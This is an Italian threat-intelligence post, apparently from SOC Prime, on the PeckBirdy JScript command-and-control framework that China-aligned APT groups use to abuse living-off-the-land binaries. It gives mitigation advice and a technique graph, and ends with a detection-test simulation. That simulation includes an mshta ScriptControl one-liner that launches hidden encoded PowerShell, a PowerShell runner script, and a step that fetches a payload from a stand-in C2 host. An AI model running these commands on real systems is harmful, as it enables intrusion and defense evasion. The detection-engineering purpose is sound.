SOC Prime Bias: Critico

26 Gen 2026 22:08

PeckBirdy: Un Framework di Script Versatile per l’Esploitation dei LOLBins Usato da Gruppi di Minaccia Allineati alla Cina

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
PeckBirdy: Un Framework di Script Versatile per l’Esploitation dei LOLBins Usato da Gruppi di Minaccia Allineati alla Cina
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

PeckBirdy è un framework di comando e controllo basato su JScript utilizzato da attori APT allineati alla Cina per abusare dei binari living-off-the-land e impiantare backdoor modulari, tra cui HOLODONUT e MKDOOR. È progettato per operare su più runtime—browser web, MSHTA, WScript, NodeJS e .NET—e supporta diverse opzioni di trasporto come WebSocket, Flash, Comet e HTTP. Il framework è stato osservato in campagne tracciate come SHADOW-VOID-044 e SHADOW-EARTH-045, che hanno preso di mira risorse di gioco online, portali web governativi asiatici e un’organizzazione del settore educativo.

Indagine

I ricercatori hanno segnalato iniezioni di script malevoli su siti di gioco compromessi e pagine governative che hanno scaricato il caricatore PeckBirdy, che ha poi recuperato payload di follow-on—tra cui un exploit di Chrome (CVE-2020-16040) e componenti aggiuntivi di backdoor. L’attività è stata collegata a due impianti modulari, HOLODONUT e MKDOOR, e connessa a gruppi osservati precedentemente e modelli di infrastruttura. L’analisi ha anche catalogato indicatori di compromissione, inclusi indirizzi IP, domini e dettagli operativi come l’uso di certificati di firma del codice rubati.

Mitigazione

Blocca i domini e indirizzi IP malevoli identificati, e monitora l’uso atipico dei LOLBin e l’esecuzione di script tramite MSHTA, WScript, e NodeJS. Rileva la creazione del unique_id file in %TEMP% e applica la validazione rigorosa dei certificati di firma del codice. La copertura per payload di Cobalt Strike conosciuti e assembly .NET generati da Donut può ulteriormente ridurre l’esposizione.

Risposta

Se rilevato, isola i sistemi interessati, raccogli lo script iniettato e qualsiasi codice binario di backdoor prodotto, e blocca l’infrastruttura C2 associata. Effettua una triage forense per il movimento laterale e aggiorna la logica di rilevamento per gli artefatti della riga di comando osservati e i modelli di traffico di rete.

“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>Tecnica</b> – <b>T1659 Iniezione di contenuti</b><br /><b>Descrizione</b>: Iniettare script malevoli nelle pagine web compromesse per fornire payload aggiuntivi.”] class content_injection technique execution_mshta[“<b>Tecnica</b> – <b>T1218.005 Esecuzione Proxy di Binari Firmati: Mshta</b><br /><b>Descrizione</b>: Utilizzare mshta.exe per eseguire file di applicazioni HTML dannose.”] class execution_mshta technique execution_compiled_html[“<b>Tecnica</b> – <b>T1218.001 Esecuzione Proxy di Binari Firmati: File HTML Compilati</b><br /><b>Descrizione</b>: Utilizzare file HTML compilati per eseguire payload JScript dannosi.”] class execution_compiled_html technique victim_id_gen[“<b>Processo</b> – Generazione Identificatore Vittima<br />Generare un ID vittima univoco e allestire lo script dannoso.”] class victim_id_gen process credential_steal_cookie[“<b>Tecnica</b> – <b>T1539 Rubare Cookie di Sessione Web</b><br /><b>Descrizione</b>: Estrarre i cookie di autenticazione dalla sessione del browser della vittima.”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>Tecnica</b> – <b>T1550.004 Usare Materiale di Autenticazione Alternativo: Cookie di Sessione Web</b><br /><b>Descrizione</b>: Riutilizzare i cookie di sessione rubati per autenticarsi come la vittima.”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>Tecnica</b> – <b>T1553.002 Sovvertire i Controlli di Fiducia: Firma del Codice</b><br /><b>Descrizione</b>: Utilizzare codice falsificato o firmato erroneamente per aggirare i controlli di fiducia.”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>Tecnica</b> – <b>T1036.001 Mascheramento: Firma del Codice Non Valida</b><br /><b>Descrizione</b>: Presentare binari con firme non valide per evitare il rilevamento.”] class masquerading_invalid_sig technique reflective_code_loading[“<b>Tecnica</b> – <b>T1620 Caricamento Riflessivo del Codice</b><br /><b>Descrizione</b>: Caricare il codice direttamente nella memoria senza invocare il loader del sistema operativo.”] class reflective_code_loading technique process_injection[“<b>Tecnica</b> – <b>T1055 Iniezione di Processo</b><br /><b>Descrizione</b>: Iniettare codice dannoso in un processo in esecuzione per nascondere l’esecuzione.”] class process_injection technique impair_defenses[“<b>Tecnica</b> – <b>T1562 Compromissione delle Difese</b><br /><b>Descrizione</b>: Disabilitare o manomettere strumenti e impostazioni di sicurezza.”] class impair_defenses technique execution_guardrails[“<b>Tecnica</b> – <b>T1480 Binari di Esecuzione</b><br /><b>Descrizione</b>: Implementare controlli per eseguire solo su obiettivi o ambienti specifici.”] class execution_guardrails technique obfuscated_embedded_payload[“<b>Tecnica</b> – <b>T1027.009 File o Informazioni Offuscate: Payload Incorporati</b><br /><b>Descrizione</b>: Nascondere payload dannosi all’interno di file o flussi di dati legittimi.”] class obfuscated_embedded_payload technique command_and_control_web[“<b>Tecnica</b> – <b>T1102 Servizio Web</b><br /><b>Descrizione</b>: Utilizzare servizi web standard per la comunicazione di comando e controllo.”] class command_and_control_web technique encrypted_channel[“<b>Tecnica</b> – <b>T1573 Canale Cifrato</b><br /><b>Descrizione</b>: Cifrare il traffico C2 per evitare l’ispezione della rete.”] class encrypted_channel technique app_layer_web_protocols[“<b>Tecnica</b> – <b>T1071.001 Protocollo dello Strato Applicativo: Protocolli Web</b><br /><b>Descrizione</b>: Comunicare attraverso protocolli web comuni come HTTP/HTTPS.”] class app_layer_web_protocols technique data_encoding[“<b>Tecnica</b> – <b>T1132 Codifica dei Dati</b><br /><b>Descrizione</b>: Codificare i dati per evitare il rilevamento durante la trasmissione.”] class data_encoding technique lateral_movement_exploit[“<b>Tecnica</b> – <b>T1210 Sfruttamento dei Servizi Remoti</b><br /><b>Descrizione</b>: Sfruttare i servizi remoti vulnerabili per muoversi lateralmente.”] class lateral_movement_exploit technique remote_vulnerability[“<b>Processo</b> – Sfruttamento della Vulnerabilità di Chrome CVE‑2020‑16040”] class remote_vulnerability process rat_holodonut[“<b>Malware</b> – HOLODONUT<br />Backdoor personalizzato utilizzato per l’accesso remoto”] class rat_holodonut malware rat_mkdoor[“<b>Malware</b> – MKDOOR<br />Backdoor secondario che fornisce persistenza”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|consegna| execution_mshta content_injection u002du002d>|consegna| execution_compiled_html execution_mshta u002du002d>|lancia| victim_id_gen execution_compiled_html u002du002d>|lancia| victim_id_gen victim_id_gen u002du002d>|allestisce script per| credential_steal_cookie credential_steal_cookie u002du002d>|porta a| alt_auth_material_cookie credential_steal_cookie u002du002d>|abilita| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|include| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|include| reflective_code_loading defense_evasion_code_signing u002du002d>|include| process_injection defense_evasion_code_signing u002du002d>|include| impair_defenses defense_evasion_code_signing u002du002d>|include| execution_guardrails defense_evasion_code_signing u002du002d>|include| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|abilita| command_and_control_web command_and_control_web u002du002d>|utilizza| encrypted_channel encrypted_channel u002du002d>|utilizza| app_layer_web_protocols app_layer_web_protocols u002du002d>|utilizza| data_encoding command_and_control_web u002du002d>|supporta| lateral_movement_exploit lateral_movement_exploit u002du002d>|tramite| remote_vulnerability lateral_movement_exploit u002du002d>|distribuisce| rat_holodonut lateral_movement_exploit u002du002d>|distribuisce| rat_mkdoor “

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il controllo pre-volo di Telemetria & Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta aspettata dalla logica di rilevamento.

  • Narrativa & Comandi di Attacco:
    L’avversario desidera stabilire un canale di controllo remoto utilizzando il framework di script PeckBirdy. Sceglie script framework. They choose mshta.exe perché è un binario firmato di Windows che bypassa la maggior parte delle liste bianche delle applicazioni. Il payload incorpora un oggetto ScriptControl ActiveX per eseguire codice JScript recuperato da un server C2. I passaggi sono:

    1. Scaricare il payload JScript malevolo dal C2 (ad esempio, http://malicious.c2/payload.js).
    2. Lanciare mshta.exe con un URI javascript: inline che crea un oggetto ScriptControl ActiveX istanza, carica lo script scaricato, e lo esegue.
    3. Il codice JScript stabilisce un listener TCP inverso, completando il piede nella porta.

    La linea di comando esatta che produce la telemetria è:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Questo comando contiene sia mshta.exe che la stringa oggetto ScriptControl ActiveX, soddisfacendo la condizione Sigma.

  • Script di Test di Regressione:
    Lo script sotto automatizza l’invocazione malevola di mshta . Può essere eseguito su una postazione di lavoro di test sotto un account amministrativo.

    #-------------------------------------------------
    # Esecuzione PeckBirdy via mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Beacon semplice - sostituire con payload reale
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromesso > C:temppwned.txt");');
    "@
    
    # Codifica il payload JScript per evitare problemi di interruzione di riga
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Avviando mshta malevolo..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Comandi di Pulizia:
    Rimuovere qualsiasi artefatto creato dal test (ad esempio, il file temporaneo).

    #-------------------------------------------------
    # Pulizia dopo simulazione PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Pulendo artefatti di test..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Ferma qualsiasi processo mshta rimasto avviato dal test
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force